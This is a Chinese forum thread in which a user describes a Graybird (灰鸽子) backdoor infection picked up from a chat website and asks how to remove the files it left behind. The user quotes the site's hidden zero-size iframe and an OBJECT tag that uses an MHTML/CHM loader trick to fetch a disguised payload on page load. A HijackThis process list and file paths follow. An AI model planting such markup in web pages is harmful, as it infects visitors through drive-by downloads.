1   1  /  1  页   跳转

我中了灰鴿子病毒,救命呀?!

我中了灰鴿子病毒,救命呀?!

我无意间打开了http://chat.yeeyoo.com
然后我的诺顿企业版提示发现病毒
如下:

扫描类型: 实时防护 扫描
事件: 已发现病毒!
病毒名称: Backdoor.Graybird
文件: C:\WINDOWS\serices.DLL
位置:隔离区


后来我检查了一下http://chat.yeeyoo.com的源代码
发现里面有一句:
<iframe src="http://chat.yeeyoo.com/images/index.htm" name="zhu"
width="0" height="0" frameborder="0">很可疑
于是我直接打开http://chat.yeeyoo.com/images/index.htm,诺顿就提示如上了,我想病毒可能会包含在里面
我检查了一下http://chat.yeeyoo.com/images/index.htm的源代码,发现代码如下:
<html>
<OBJECT style="display:none;" type="text/x-scriptlet"
data="MK:@MSITStore:mhtml:c:\.mht!http://chat.yeeyoo.com/images/logo.jpg::/102%2E%68tm"></OBJECT>
</body>
</html>
我想这就是我在访问http://chat.yeeyoo.com的同时,
又下载了http://chat.yeeyoo.com/images/index.htm这个页面中加载的:OBJECT中的小文件

--------------------------------------------------------------------------------------------------

访问后,我发现我的系统文件夹,windows目录里面多出一个:sericesKey.DLL,文件,无法删除
请瑞星的客服帮忙解决一下
用瑞星可以杀掉这个病毒吗???
最后编辑2005-11-01 17:08:24
分享到:
gototop
 

病毒的主文件就是:windows目錄里的sericesKey.DLL文件,但是無法刪除
gototop
 

用HijackThis掃描的進程

Running processes:
C:\WINDOWS\System32\smss.exe
C:\WINDOWS\system32\winlogon.exe
C:\WINDOWS\system32\services.exe
C:\WINDOWS\system32\lsass.exe
C:\WINDOWS\system32\svchost.exe
C:\WINDOWS\System32\svchost.exe
C:\WINDOWS\system32\spoolsv.exe
D:\PROGRA~1\SYMANT~1\SYMANT~1\DefWatch.exe
D:\PROGRA~1\SYMANT~1\SYMANT~1\Rtvscan.exe
C:\WINDOWS\Explorer.EXE
C:\WINDOWS\VM_STI.EXE
C:\Program Files\Common Files\Real\Update_OB\realsched.exe
C:\WINDOWS\System32\clsmn.exe
D:\Program Files\BitComet\BitComet.exe
C:\WINDOWS\system32\internat.exe
D:\Program Files\Thunder Network\Thunder\Thunder.exe
C:\WINDOWS\System32\svchost.exe
C:\Program Files\Internet Explorer\IEXPLORE.EXE
C:\WINDOWS\System32\Rundll32.exe
C:\WINDOWS\System32\Rundll32.exe
C:\DOCUME~1\lingyue\LOCALS~1\Temp\HijackThis.exe
gototop
 


系統目錄里還有一個:c:\windows\serices.exe
這個應該就是真正的主程序名了吧
gototop
 

文件名:
SERICES.EXE-249AAE04.pf

文件位置:
C:\WINDOWS\Prefetch



請問這里的這個文件是否需要刪除呢
一個預讀文件,刪除應該沒有什麼影響吧
gototop
 
1   1  /  1  页   跳转
页面顶部
Powered by Discuz!NT